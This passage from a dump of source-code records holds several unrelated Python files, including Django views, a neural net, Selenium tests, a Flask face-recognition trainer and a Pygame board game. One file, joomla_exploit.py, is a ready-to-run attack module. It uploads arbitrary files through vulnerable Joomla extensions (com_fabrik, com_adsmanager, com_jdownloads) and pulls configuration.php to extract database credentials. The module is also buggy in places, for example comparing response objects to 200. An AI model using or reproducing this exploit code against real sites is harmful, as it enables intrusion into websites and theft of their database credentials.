"attribute"}, {"api_name": "model_city.City", "line_number": 24, "usage_type": "name"}]} {"seq_id": "114150312", "text": "from django.urls import (path,\n include)\nfrom .views import (loginto,\n create_firm,\n signup,\n logout_view,\n employee_login,\n get_logged_in_user)\n\nurlpatterns = [\n path('', loginto, name='login_default'),\n path('login', loginto, name=\"login\"),\n path('login/<str:invalid>', loginto, name=\"login\"),\n path('signup', signup, name=\"signup\"),\n path('create_firm', create_firm, name=\"create_firm\"),\n path('logout', logout_view, name=\"logout\"),\n path('employee_login', employee_login, name=\"employee_login\"),\n path('logged_in_user', get_logged_in_user, name=\"logged_in_user\"),\n\n]\n", "sub_path": "payroll/authentication/urls.py", "file_name": "urls.py", "file_ext": "py", "file_size_in_byte": 714, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "django.urls.path", "line_number": 11, "usage_type": "call"}, {"api_name": "views.loginto", "line_number": 11, "usage_type": "argument"}, {"api_name": "django.urls.path", "line_number": 12, "usage_type": "call"}, {"api_name": "views.loginto", "line_number": 12, "usage_type": "argument"}, {"api_name": "django.urls.path", "line_number": 13, "usage_type": "call"}, {"api_name": "views.loginto", "line_number": 13, "usage_type": "argument"}, {"api_name": "django.urls.path", "line_number": 14, "usage_type": "call"}, {"api_name": "views.signup", "line_number": 14, "usage_type": "argument"}, {"api_name": "django.urls.path", "line_number": 15, "usage_type": "call"}, {"api_name": "views.create_firm", "line_number": 15, "usage_type": "argument"}, {"api_name": "django.urls.path", "line_number": 16, "usage_type": "call"}, {"api_name": "views.logout_view", "line_number": 16, "usage_type": "argument"}, {"api_name": "django.urls.path", "line_number": 17, "usage_type": "call"}, {"api_name": "views.employee_login", "line_number": 17, "usage_type": "argument"}, {"api_name": "django.urls.path", "line_number": 18, "usage_type": "call"}, {"api_name": "views.get_logged_in_user", "line_number": 18, "usage_type": "argument"}]} {"seq_id": "353524608", "text": "#!/usr/bin/env python\nimport os\nimport sys\nimport numpy as np\nfrom collections import OrderedDict\nsys.path.append(os.pardir)\nimport common.layers as clay\nimport common.gradient as cgrad\n\n\nclass MultiLayerNet:\n def __init__(self, size_in, list_size_hidden, size_out,\n lambda_l2=0., ratio_dropout=None):\n if isinstance(list_size_hidden, int):\n list_size_hidden = [list_size_hidden]\n self.size_units = [size_in] + list_size_hidden + [size_out]\n self.lambda_l2 = lambda_l2\n\n self.params = {}\n self.layers = OrderedDict()\n for i in range(len(self.size_units) - 1):\n affine, weight, bias, relu, dropout =\\\n [k + str(i + 1) for k in ('Affine', 'W', 'b', 'Relu', 'Dropout')]\n scale = np.sqrt(2.0 / self.size_units[i])\n self.params[weight] =\\\n scale * np.random.randn(self.size_units[i], self.size_units[i+1])\n self.params[bias] = np.zeros(self.size_units[i+1])\n\n self.layers[affine] = clay.Affine(self.params[weight], self.params[bias])\n if ratio_dropout is not None:\n self.layers[dropout] = clay.Dropout(ratio_dropout)\n if i < len(self.size_units) - 2:\n self.layers[relu] = clay.Relu()\n else:\n self.lastLayer = clay.SoftmaxWithLoss()\n\n def predict(self, x, flg_train=True):\n for k, layer in self.layers.items():\n if k.startswith('Dropout'):\n x = layer.forward(x, flg_train)\n else:\n x = layer.forward(x)\n return x\n\n def loss(self, x, t):\n y = self.predict(x)\n w = 0.\n for i in range(len(self.size_units) - 1):\n w += np.sum(self.params['W%d' % (i + 1)]**2)\n return self.lastLayer.forward(y, t) + 0.5 * self.lambda_l2 * w\n\n def accuracy(self, x, t):\n y = self.predict(x)\n pred = y.argmax(axis=1)\n if t.ndim != 1:\n t = t.argmax(axis=1)\n return np.sum(pred == t) / float(pred.size)\n\n def gradient(self, x, t):\n # forward\n self.loss(x, t)\n\n # backward\n dout = 1\n dout = self.lastLayer.backward(dout)\n for layer in reversed(self.layers.values()):\n dout = layer.backward(dout)\n\n grads = {}\n for i in range(len(self.size_units) - 1):\n affine, weight, bias = [k + str(i + 1) for k in ('Affine', 'W', 'b')]\n grads[weight] =\\\n self.layers[affine].dW + self.lambda_l2 * self.params[weight]\n grads[bias] = self.layers[affine].db\n return grads\n", "sub_path": "ch06/multilayers2.py", "file_name": "multilayers2.py", "file_ext": "py", "file_size_in_byte": 2635, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "sys.path.append", "line_number": 6, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 6, "usage_type": "attribute"}, {"api_name": "os.pardir", "line_number": 6, "usage_type": "attribute"}, {"api_name": "collections.OrderedDict", "line_number": 20, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 24, "usage_type": "call"}, {"api_name": "numpy.random.randn", "line_number": 26, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 26, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 27, "usage_type": "call"}, {"api_name": "common.layers.Affine", "line_number": 29, "usage_type": "call"}, {"api_name": "common.layers", "line_number": 29, "usage_type": "name"}, {"api_name": "common.layers.Dropout", "line_number": 31, "usage_type": "call"}, {"api_name": "common.layers", "line_number": 31, "usage_type": "name"}, {"api_name": "common.layers.Relu", "line_number": 33, "usage_type": "call"}, {"api_name": "common.layers", "line_number": 33, "usage_type": "name"}, {"api_name": "common.layers.SoftmaxWithLoss", "line_number": 35, "usage_type": "call"}, {"api_name": "common.layers", "line_number": 35, "usage_type": "name"}, {"api_name": "numpy.sum", "line_number": 49, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 57, "usage_type": "call"}]} {"seq_id": "648879761", "text": "from .base import Page\r\nfrom selenium.webdriver.common.by import By\r\nfrom .registerPage import WebRegisterPage\r\nfrom .loginPage import login\r\nfrom common_modules.common_functions import get_data\r\nfrom random import randint\r\n\r\n\r\nclass FreeReserve(Page):\r\n \"\"\"\r\n 体验用户预约体验课\r\n \"\"\"\r\n def __init__(self, driver):\r\n Page.__init__(self, driver)\r\n # WebRegisterPage(self.driver).web_register()\r\n # WebRegisterPage(self.driver).user_identity_new(4)\r\n login(self.driver).user_login(\"17933338569\")\r\n\r\n def free_one1one_reserve(self):\r\n url = get_data(\"web_url_msg.xml\", \"webTrailnew\")\r\n reserve_day_loc = (By.XPATH, \".//*[@id='classTime']/div/ul[1]/li[4]\")\r\n reserve_hour_loc = (By.CSS_SELECTOR, \".gray>span\")\r\n nextbutton_loc = (By.CLASS_NAME, \"nextBtn\")\r\n complete_button_loc = (By.CLASS_NAME, \"comBtn\")\r\n\r\n self.open_url(url)\r\n self.click(reserve_day_loc)\r\n reserve_hours = self.find_elements(reserve_hour_loc)\r\n reserve_hours[randint(0,5)].click()\r\n self.click(nextbutton_loc)\r\n self.click(complete_button_loc)\r\n print(\"已成功预约一对一体验课\")", "sub_path": "selenium_learning/pages/freereservePage.py", "file_name": "freereservePage.py", "file_ext": "py", "file_size_in_byte": 1192, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "base.Page", "line_number": 9, "usage_type": "name"}, {"api_name": "base.Page.__init__", "line_number": 14, "usage_type": "call"}, {"api_name": "base.Page", "line_number": 14, "usage_type": "name"}, {"api_name": "loginPage.login", "line_number": 17, "usage_type": "call"}, {"api_name": "common_modules.common_functions.get_data", "line_number": 20, "usage_type": "call"}, {"api_name": "selenium.webdriver.common.by.By.XPATH", "line_number": 21, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 21, "usage_type": "name"}, {"api_name": "selenium.webdriver.common.by.By.CSS_SELECTOR", "line_number": 22, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 22, "usage_type": "name"}, {"api_name": "selenium.webdriver.common.by.By.CLASS_NAME", "line_number": 23, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 23, "usage_type": "name"}, {"api_name": "selenium.webdriver.common.by.By.CLASS_NAME", "line_number": 24, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 24, "usage_type": "name"}, {"api_name": "random.randint", "line_number": 29, "usage_type": "call"}]} {"seq_id": "426502045", "text": "from django.shortcuts import render,redirect\nfrom django.contrib.auth.forms import UserCreationForm\nfrom .forms import CreateUserForm,UserUpdateForm,ProfileUpdateForm\nfrom django.contrib import messages\n# Create your views here.\n\ndef register(request):\n if request.method == 'POST':\n form = CreateUserForm(request.POST)\n if form.is_valid():\n form.save()\n username = form.cleaned_data.get('username')\n messages.success(request,f'{username} ACCOUNT HAS BEEN ADDED - ({username}) Hesap Oluşturuldu')\n return redirect('user-login')\n \n else:\n form = CreateUserForm()\n\n \n context = {'form':form}\n\n\n return render(request,'user/register.html',context)\n\ndef profile(request):\n context = {}\n return render(request, 'user/profile.html',context)\n\n\ndef profile_update(request):\n if request.method == 'POST':\n user_form = UserUpdateForm(request.POST, instance = request.user)\n profile_form = ProfileUpdateForm(request.POST, request.FILES, instance = request.user.profile)\n if user_form.is_valid() and profile_form.is_valid():\n user_form.save()\n profile_form.save()\n return redirect('user-profile')\n else:\n user_form = UserUpdateForm(instance = request.user)\n profile_form = ProfileUpdateForm(instance = request.user.profile)\n\n context ={'user_form':user_form,'profile_form':profile_form,}\n\n return render(request,'user/profile_update.html',context)", "sub_path": "user/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 1510, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "forms.CreateUserForm", "line_number": 9, "usage_type": "call"}, {"api_name": "django.contrib.messages.success", "line_number": 13, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 13, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 14, "usage_type": "call"}, {"api_name": "forms.CreateUserForm", "line_number": 17, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 23, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 27, "usage_type": "call"}, {"api_name": "forms.UserUpdateForm", "line_number": 32, "usage_type": "call"}, {"api_name": "forms.ProfileUpdateForm", "line_number": 33, "usage_type": "call"}, {"api_name": "django.shortcuts.redirect", "line_number": 37, "usage_type": "call"}, {"api_name": "forms.UserUpdateForm", "line_number": 39, "usage_type": "call"}, {"api_name": "forms.ProfileUpdateForm", "line_number": 40, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 44, "usage_type": "call"}]} {"seq_id": "266900528", "text": "from flask import Flask, request, jsonify, send_file, safe_join \nfrom sklearn import svm\nfrom joblib import load, dump\nfrom mongo import get_data2train\nimport os\nfrom gevent.pywsgi import WSGIServer\nimport uuid\nimport numpy as np\nimport requests\n\napp = Flask(__name__)\napp.config['SECRET_KEY'] = uuid.uuid4().hex\napp.config['MODEL_SVM'] = os.path.join(os.getcwd(),'model','svm_face_recognition.sav') \n\n# send file to host [POST] \ndef send2host():\n with open(app.config['MODEL_SVM'],'rb') as f:\n try:\n print('send model')\n r = requests.post('http://192.168.0.252:2727/receive_model',files = {'model':f}) # ip processing machine\n except Exception as e:\n print('error post receive model:',e)\n return 'error' \n # response data \n res_data = r.json()\n if res_data['msg'] != 'success':\n print('error response data receive data')\n return 'error'\n\n return 'success'\n\n# train face data\n@app.route('/train_face_data',methods=['POST'])\ndef train_face_data():\n if request.method == 'POST':\n print('train_face_data',os.getcwd())\n\n # ดึงข้อมูล 2 อย่าง คือ 1. user_id 2. ข้อมูลใบหน้า\n get_data2train_var = get_data2train()\n\n # ประกาศตัวแปรรับข้อมูล เพื่อนำข้อมูลไปใช้ในการแยกเพื่อนำไปใช้ต่อไป\n data_train_list = list()\n data_label = list()\n\n for dt in get_data2train_var:\n if 'data' in dt:\n data_train_list.append(dt['data'])\n data_label.append(dt['info']['user_id'])\n\n # ประกาศตัวแปรเพื่อใช้ในการเตรียมข้อมูลเพื่อใช้ในการ train\n dats_train = list()\n dats_label = list()\n\n # ลูปเพื่อทำการตรียมข้อมูลเพื่อใช้ในการเตรียมข้อมูล\n for i, train in enumerate(data_train_list):\n # print(len(train))\n if len(train) == 5: # จำนวนรูป\n # print(len(train))\n for sub_train in train:\n dats_train.append(sub_train)\n dats_label.append(data_label[i])\n #print(dats_label)\n\n # convert data to numpy array\n dats_train = np.array(dats_train)\n dats_label = np.array(dats_label)\n\n # SVM\n #check len class , have to more than 1 class\n unique_val = set(dats_label)\n if len(unique_val) > 1:\n clf = svm.SVC(probability=True)\n clf.fit(dats_train, dats_label)\n dump(clf, open('./model/svm_face_recognition.sav', 'wb'))\n # save and post to host\n res = send2host()\n if res != 'success':\n print('error send2host')\n return jsonify({\"msg\":\"error\"})\n #response status data\n \n else:\n return jsonify({\"msg\":\"CLT2\"}) # number of class less than 2\n\n # # save model\n return jsonify({\"msg\":\"success\"})\n\n@app.route('/test_sent',methods=['POST'])\ndef test_sent():\n if request.method == 'POST':\n print('omg')\n return jsonify({\"status\":True,\"msg\":\"success\"})\n \n\nif __name__ == '__main__':\n #server_train = WSGIServer(('0.0.0.0',2525),app)\n #server_train.serve_forever()\n\n app.run(host= '192.168.0.253',port=2525,threaded=True)\n\n", "sub_path": "server/train_api.py", "file_name": "train_api.py", "file_ext": "py", "file_size_in_byte": 3638, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "flask.Flask", "line_number": 11, "usage_type": "call"}, {"api_name": "uuid.uuid4", "line_number": 12, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 13, "usage_type": "call"}, {"api_name": "os.path", "line_number": 13, "usage_type": "attribute"}, {"api_name": "os.getcwd", "line_number": 13, "usage_type": "call"}, {"api_name": "requests.post", "line_number": 20, "usage_type": "call"}, {"api_name": "flask.request.method", "line_number": 35, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 35, "usage_type": "name"}, {"api_name": "os.getcwd", "line_number": 36, "usage_type": "call"}, {"api_name": "mongo.get_data2train", "line_number": 39, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 65, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 66, "usage_type": "call"}, {"api_name": "sklearn.svm.SVC", "line_number": 72, "usage_type": "call"}, {"api_name": "sklearn.svm", "line_number": 72, "usage_type": "name"}, {"api_name": "joblib.dump", "line_number": 74, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 79, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 83, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 86, "usage_type": "call"}, {"api_name": "flask.request.method", "line_number": 90, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 90, "usage_type": "name"}, {"api_name": "flask.jsonify", "line_number": 92, "usage_type": "call"}]} {"seq_id": "97753104", "text": "import git;\nimport sys;\n\ndef getLogs(repo):\n\t\"\"\" Get the logs (seperated into 4-item chunks, and without useless stuff.) \"\"\"\n\tif isinstance(repo, basestring):\n\t\trepo = git.Repo(repo)\n\tlist_log = repo.git.log().split(\"\\n\")\n\twhile u'' in list_log:\n\t\tlist_log.remove(u'')\n\ttemp = list(chunks(list_log,4))\n\treturn temp\n\ndef generateHTML(path):\n\trepo = git.Repo(path);\n\tlog = getLogs(repo)\n\tpage = \"\";\n\tfor i in reversed(log):\n\t\tpage += i[0]+\"<br>\"\n\t\tpage += i[1]+\"<br>\"\n\t\tpage += i[2]+\"<br>\"\n\t\tpage += i[3]+\"<br>\"\n\t\tpage += \"<br>\"\n\treturn page\n\ndef generateMarkdown(path):\n\trepo = git.Repo(path);\n\tlog = getLogs(repo)\n\tpage = \"# Commits for \"+path+\"\\n\";\n\tfor i in reversed(log):\n\t\tpage += i[0]+\" \\n\"\n\t\tpage += i[1]+\" \\n\"\n\t\tpage += i[2]+\" \\n\"\n\t\tpage += i[3]+\" \\n\"\n\t\tpage += \"\\n\"\n\treturn page\ndef chunks(l,n):\n\tfor i in xrange(0,len(l),n):\n\t\tyield l[i:i+n]\n", "sub_path": "gitoverview.py", "file_name": "gitoverview.py", "file_ext": "py", "file_size_in_byte": 855, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "git.Repo", "line_number": 7, "usage_type": "call"}, {"api_name": "git.Repo", "line_number": 15, "usage_type": "call"}, {"api_name": "git.Repo", "line_number": 27, "usage_type": "call"}]} {"seq_id": "104175743", "text": "import unittest\nimport os\nimport time\nfrom utils.HTMLTestRunner import HTMLTestRunner\nfrom utils.EmailHelper import handleSendEmail\nfrom config.EmailConfig import ENABLE\n\n# 引入需要执行的测试用例模块\nfrom cases.TestLoginByAccountPage import TestLoginByAccountPage\nfrom cases.TestLoginByMobilePage import TestLoginByMobilePage\nfrom cases.TestRegisterPage import TestRegisterPage\nfrom cases.TestNormalOrder import TestNormalOrder\n\nclass JxsgTestRunner():\n # 获取测试报告生成路径\n def getReportPath(self):\n reportPath = os.path.split(os.path.realpath(__file__))[0] + '\\\\reports'\n currentTime = time.strftime(\"%Y-%m-%d-%H-%M-%S\")\n return reportPath + '\\\\' + currentTime + '-report.html'\n\n # 添加需要执行的测试用例\n def addSpecifyTest(self, suite):\n # 账号密码登录\n suite.addTest(TestLoginByAccountPage('testCorrectAccountPwd'))\n suite.addTest(TestLoginByAccountPage('testNoFillAccount'))\n suite.addTest(TestLoginByAccountPage('testNoFillPwd'))\n suite.addTest(TestLoginByAccountPage('testIncorrectAccount'))\n suite.addTest(TestLoginByAccountPage('testIncorrectPwd'))\n # 手机号验证码登录\n suite.addTest(TestLoginByMobilePage('testCorrectMobileCode'))\n suite.addTest(TestLoginByMobilePage('testNoFillMobile'))\n suite.addTest(TestLoginByMobilePage('testNoFillCode'))\n suite.addTest(TestLoginByMobilePage('testInvalidMobile'))\n suite.addTest(TestLoginByMobilePage('testExpiredCode'))\n # 手机号注册\n suite.addTest(TestRegisterPage('testNoFillMobile'))\n suite.addTest(TestRegisterPage('testNoFillCode'))\n suite.addTest(TestRegisterPage('testWrongFormatMobile'))\n suite.addTest(TestRegisterPage('testExistMobile'))\n suite.addTest(TestRegisterPage('testNewMobile'))\n # 普通订单自动化下单\n suite.addTest(TestNormalOrder('testNoSpecGoods'))\n\n # 运行测试\n def run_tests(self):\n suite = unittest.TestSuite()\n self.addSpecifyTest(suite)\n reportPath = self.getReportPath()\n fp = open(reportPath, \"wb\")\n runner = HTMLTestRunner(stream=fp, title=u'自动化测试报告', description=u'测试结果')\n runner.run(suite)\n fp.close\n if ENABLE:\n handleSendEmail(reportPath) # 发送邮件\n\nif __name__ == \"__main__\":\n jxsg_test_runner = JxsgTestRunner()\n jxsg_test_runner.run_tests()\n", "sub_path": "run-specify.py", "file_name": "run-specify.py", "file_ext": "py", "file_size_in_byte": 2478, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "os.path.split", "line_number": 17, "usage_type": "call"}, {"api_name": "os.path", "line_number": 17, "usage_type": "attribute"}, {"api_name": "os.path.realpath", "line_number": 17, "usage_type": "call"}, {"api_name": "time.strftime", "line_number": 18, "usage_type": "call"}, {"api_name": "cases.TestLoginByAccountPage.TestLoginByAccountPage", "line_number": 24, "usage_type": "call"}, {"api_name": "cases.TestLoginByAccountPage.TestLoginByAccountPage", "line_number": 25, "usage_type": "call"}, {"api_name": "cases.TestLoginByAccountPage.TestLoginByAccountPage", "line_number": 26, "usage_type": "call"}, {"api_name": "cases.TestLoginByAccountPage.TestLoginByAccountPage", "line_number": 27, "usage_type": "call"}, {"api_name": "cases.TestLoginByAccountPage.TestLoginByAccountPage", "line_number": 28, "usage_type": "call"}, {"api_name": "cases.TestLoginByMobilePage.TestLoginByMobilePage", "line_number": 30, "usage_type": "call"}, {"api_name": "cases.TestLoginByMobilePage.TestLoginByMobilePage", "line_number": 31, "usage_type": "call"}, {"api_name": "cases.TestLoginByMobilePage.TestLoginByMobilePage", "line_number": 32, "usage_type": "call"}, {"api_name": "cases.TestLoginByMobilePage.TestLoginByMobilePage", "line_number": 33, "usage_type": "call"}, {"api_name": "cases.TestLoginByMobilePage.TestLoginByMobilePage", "line_number": 34, "usage_type": "call"}, {"api_name": "cases.TestRegisterPage.TestRegisterPage", "line_number": 36, "usage_type": "call"}, {"api_name": "cases.TestRegisterPage.TestRegisterPage", "line_number": 37, "usage_type": "call"}, {"api_name": "cases.TestRegisterPage.TestRegisterPage", "line_number": 38, "usage_type": "call"}, {"api_name": "cases.TestRegisterPage.TestRegisterPage", "line_number": 39, "usage_type": "call"}, {"api_name": "cases.TestRegisterPage.TestRegisterPage", "line_number": 40, "usage_type": "call"}, {"api_name": "cases.TestNormalOrder.TestNormalOrder", "line_number": 42, "usage_type": "call"}, {"api_name": "unittest.TestSuite", "line_number": 46, "usage_type": "call"}, {"api_name": "utils.HTMLTestRunner.HTMLTestRunner", "line_number": 50, "usage_type": "call"}, {"api_name": "config.EmailConfig.ENABLE", "line_number": 53, "usage_type": "name"}, {"api_name": "utils.EmailHelper.handleSendEmail", "line_number": 54, "usage_type": "call"}]} {"seq_id": "361790260", "text": "# Author:GaoYuCai\nfrom greenlet import greenlet\ndef test1():\n print(12)\n gr2.switch()\n print(34)\n gr2.switch()\ndef test2():\n print(56)\n gr1.switch()\n print(78)\ngr1=greenlet(test1)#启动一个协程\ngr2=greenlet(test2)\ngr1.switch()\n", "sub_path": "Python_day10/协程.py", "file_name": "协程.py", "file_ext": "py", "file_size_in_byte": 281, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "greenlet.greenlet", "line_number": 12, "usage_type": "call"}, {"api_name": "greenlet.greenlet", "line_number": 13, "usage_type": "call"}]} {"seq_id": "514451079", "text": "#-*- coding: utf-8 -*-\nimport requests,re\nfrom .color import R,G,B,Y,W\n\nclass com_fabrik:\n\n def joomla_com_fabrik(self,target,path,name):\n self.target = target\n self.path = path\n self.name = name\n requests.post(\n f\"{self.target}/index.php?option=com_fabrik&c=import&view=import&filetype=csv&table=\",\n data={\n \"name\": \"me.php\",\n \"drop_data\": \"1\",\n \"overwrite\": \"1\",\n \"field_delimiter\": \",\",\n \"text_delimiter\": \""\",\n \"option\": \"com_fabrik\",\n \"controller\": \"import\",\n \"view\": \"import\",\n \"task\": \"doimport\",\n \"Itemid\": \"0\",\n \"tableid\": \"0\"\n },\n files={'userfile':(self.name,open(f\"self.path\",\"rb\"),\"multipart/form-data\")} \n \n )\n cek = requests.get(f\"{self.target}/media/{self.name}\")\n if cek == 200:\n print(f\"{G}[*]{W} Success : {self.target}/media/{self.name}\")\n else:\n print(\"{R}[x]{W} Failed Not Vulnerability\")\n\nclass com_ads_manager:\n\n def joomla_com_ads_manager(self,target,path,name):\n self.target = target\n self.path = path\n self.name = name\n requests.post(\n f\"{self.target}/index.php?option=com_adsmanager&task=upload&tmpl=component\",\n data={'name':self.name},\n files={'file':open(self.path,'rb')}\n )\n cek = requests.get(f\"{self.target}/tmp/plupload/{self.name}\")\n if cek == 200:\n print(\"{G}[*]{W} Success : {self.target}/tmp/plupload/{self.name}\")\n else:\n print(\"{R}[x]{W} Not Vulnerability\")\n\nclass joomanager_config:\n\n def joomla_manager_get_config(self,target):\n self.target = target\n resp = requests.get(\n f\"{self.target}/index.php?option=com_joomanager&controller=details&task=download&path=configuration.php\"\n ).text\n if 'JConfig'in resp:\n print('[+] Vulnerability ')\n host = re.findall(\"host = '(.*)';\",resp)\n user = re.findall(\"user = '(.*)';\",resp)\n pwd = re.findall(\"password = '(.*)';\",resp)\n db = re.findall(\"db = '(.*)';\",resp)\n print(f\"{G}[*]{W} Vulnerability\")\n print(f\"Host : {host}\\nUser : {user}\\nPassword : {pwd}\\nDB : {db}\")\n else:\n print(f'{R}[x]{W} Not vulnerability')\n\nclass com_jdownload:\n\n def joomla_com_jdownloads_file_upload(\n self,\n target,\n path,\n name,\n email,\n description\n ):\n self.target = target\n self.path = path\n self.name = name\n self.email = email\n self.description = description\n requests.post(\n f\"{self.target}/index.php?option=com_jdownloads&Itemid=0&view=upload\",\n data={\n 'name': self.name,\n 'mail': self.email,\n 'catlist': '1',\n 'filetitle': \"407 AEX\",\n 'description': \"<p>407 Aex</p>\",\n '2d1a8f3bd0b5cf542e9312d74fc9766f': 1,\n 'send': 1,\n 'senden': \"Send file\",\n 'description': self.description,\n 'option': \"com_jdownloads\",\n 'view': \"upload\"\n },\n files={\n 'file_upload':(self.name,open(self.path,'rb'),'multipart/form-data'),\n 'pic_upload':('407',open(self.path,'rb'),'multipart/form-data')\n }\n )\n cek = requests.get(f\"{self.target}/images/jdownloads/screenshots/{self.name}\")\n if cek.status_code == 200:\n print(f\"{G}[*]{W} Success : {self.target}/images/jdownloads/screenshots/{self.name}\")\n else:\n print(f\"{R}[x]{W} Failed ! Not Vulnerability \")\n \n\n\n\n\n\n\n\n\n\n\n\n\n\n \n", "sub_path": "lib/modules/joomla_exploit.py", "file_name": "joomla_exploit.py", "file_ext": "py", "file_size_in_byte": 4748, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "requests.post", "line_number": 11, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 29, "usage_type": "call"}, {"api_name": "color.G", "line_number": 31, "usage_type": "name"}, {"api_name": "color.W", "line_number": 31, "usage_type": "name"}, {"api_name": "requests.post", "line_number": 41, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 46, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 56, "usage_type": "call"}, {"api_name": "re.findall", "line_number": 61, "usage_type": "call"}, {"api_name": "re.findall", "line_number": 62, "usage_type": "call"}, {"api_name": "re.findall", "line_number": 63, "usage_type": "call"}, {"api_name": "re.findall", "line_number": 64, "usage_type": "call"}, {"api_name": "color.G", "line_number": 65, "usage_type": "name"}, {"api_name": "color.W", "line_number": 65, "usage_type": "name"}, {"api_name": "color.R", "line_number": 68, "usage_type": "name"}, {"api_name": "color.W", "line_number": 68, "usage_type": "name"}, {"api_name": "requests.post", "line_number": 85, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 105, "usage_type": "call"}, {"api_name": "color.G", "line_number": 107, "usage_type": "name"}, {"api_name": "color.W", "line_number": 107, "usage_type": "name"}, {"api_name": "color.R", "line_number": 109, "usage_type": "name"}, {"api_name": "color.W", "line_number": 109, "usage_type": "name"}]} {"seq_id": "562866361", "text": "# -*- coding: utf-8 -*-\nimport pygame\nimport numpy as np\n\nimport Speler # eigen class\nimport schotje\n\n\n#fucnties\ndef drawall():\n gameDisplay.fill(kleur_lijnen) \n # grid\n blokgrootte = spel_config['blokgrootte']\n lijndikte = spel_config['lijndikte']\n dx = spel_config['dx']\n dy = spel_config['dy']\n for y in range(0,9):\n for x in range(0,9):\n rect = pygame.Rect(dx+x*(blokgrootte+lijndikte), dy+y*(blokgrootte+lijndikte), blokgrootte, blokgrootte)\n pygame.draw.rect(gameDisplay, kleur_achtergrond, rect) \n # pionnen\n Speler1.drawme(gameDisplay)\n select1.drawme(gameDisplay)\n Speler2.drawme(gameDisplay)\n select2.drawme(gameDisplay)\n schotje_select.drawme(gameDisplay)\n for i in range(len(schotjes)):\n (schotjes[i]).drawme(gameDisplay)\n\ndef checkmove_schotje():\n # mag niet over ander schotje\n # mag niet route afsluiten\n possiblemove = 1\n return possiblemove\n \ndef checkmove_speler(speler_id):\n zelfdeplek = 0\n if speler_id == 1:\n speler = Speler1\n selector = select1\n tegenspeler = Speler2\n else:\n speler = Speler2\n selector = select2\n tegenspeler = Speler1\n \n possiblemove = 0\n if not (selector.x == speler.x and selector.y == speler.y):\n if not (selector.x == tegenspeler.x and selector.y == tegenspeler.y):\n if abs(speler.x - selector.x) == 1:\n if abs(speler.y - selector.y) == 0:\n possiblemove = 1\n elif abs(speler.y - selector.y) == 1:\n # mag alleen als er naast de tegenspeler een verticaal schotje staat\n possiblemove = 1 # AANPASSEN!\n elif abs(speler.x - selector.x) == 2:\n if speler.x + 0.5*(selector.x-speler.x) == tegenspeler.x and abs(selector.y-speler.y)==0:\n possiblemove = 1\n if abs(speler.y - selector.y) == 1:\n if abs(speler.x - selector.x) == 0:\n possiblemove = 1\n elif abs(speler.x - selector.x) == 1:\n # mag alleen als er onder/boven de tegenspeler een horizontaal schotje staat\n possiblemove = 1 # AANPASSEN! \n elif abs(speler.y - selector.y) == 2:\n if speler.y + 0.5*(selector.y-speler.y) == tegenspeler.y and abs(selector.x-speler.x)==0:\n possiblemove = 1\n else: \n zelfdeplek = 1\n possiblemove = 1\n return possiblemove, zelfdeplek\n\n# spel configuratie\nkleur_achtergrond = (200,200,200)\nkleur_lijnen = (0,0,0)\nkleur_speler1 = (0,100,0)\nkleur_speler2 = (100,1,100)\nkleur_select = (255,255,0)\nkleur_schotje = (255,0,0)\nspel_config = {'blokgrootte': 50, 'lijndikte':10, 'dx': 130, 'dy':40}\nSpeler1 = Speler.Speler(5,1,spel_config,kleur_speler1,10)\nselect1 = Speler.Speler(Speler1.x,Speler1.y,spel_config,kleur_select,0)\nSpeler2 = Speler.Speler(5,9,spel_config,kleur_speler2,10)\nselect2 = Speler.Speler(Speler2.x,Speler2.y,spel_config,kleur_select,0)\nschotje_select = schotje.schotje(1,1,'h',spel_config,kleur_lijnen)\nschotjes =[]\n\n#MAIN \n# pygame settings:\npygame.init()\nmyfont = pygame.font.SysFont(\"monospace\", 15)\nDisplay_width = 800\nDisplay_height = 600\ngameDisplay = pygame.display.set_mode((Display_width,Display_height))\npygame.display.set_caption('Quoridor')\nclock = pygame.time.Clock()\n#$ MAIN LOOP\ngamemode = 1\nkeydownevents = 0\nkeyup = 1\ndone = False\nwhile not done:\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n done = True\n 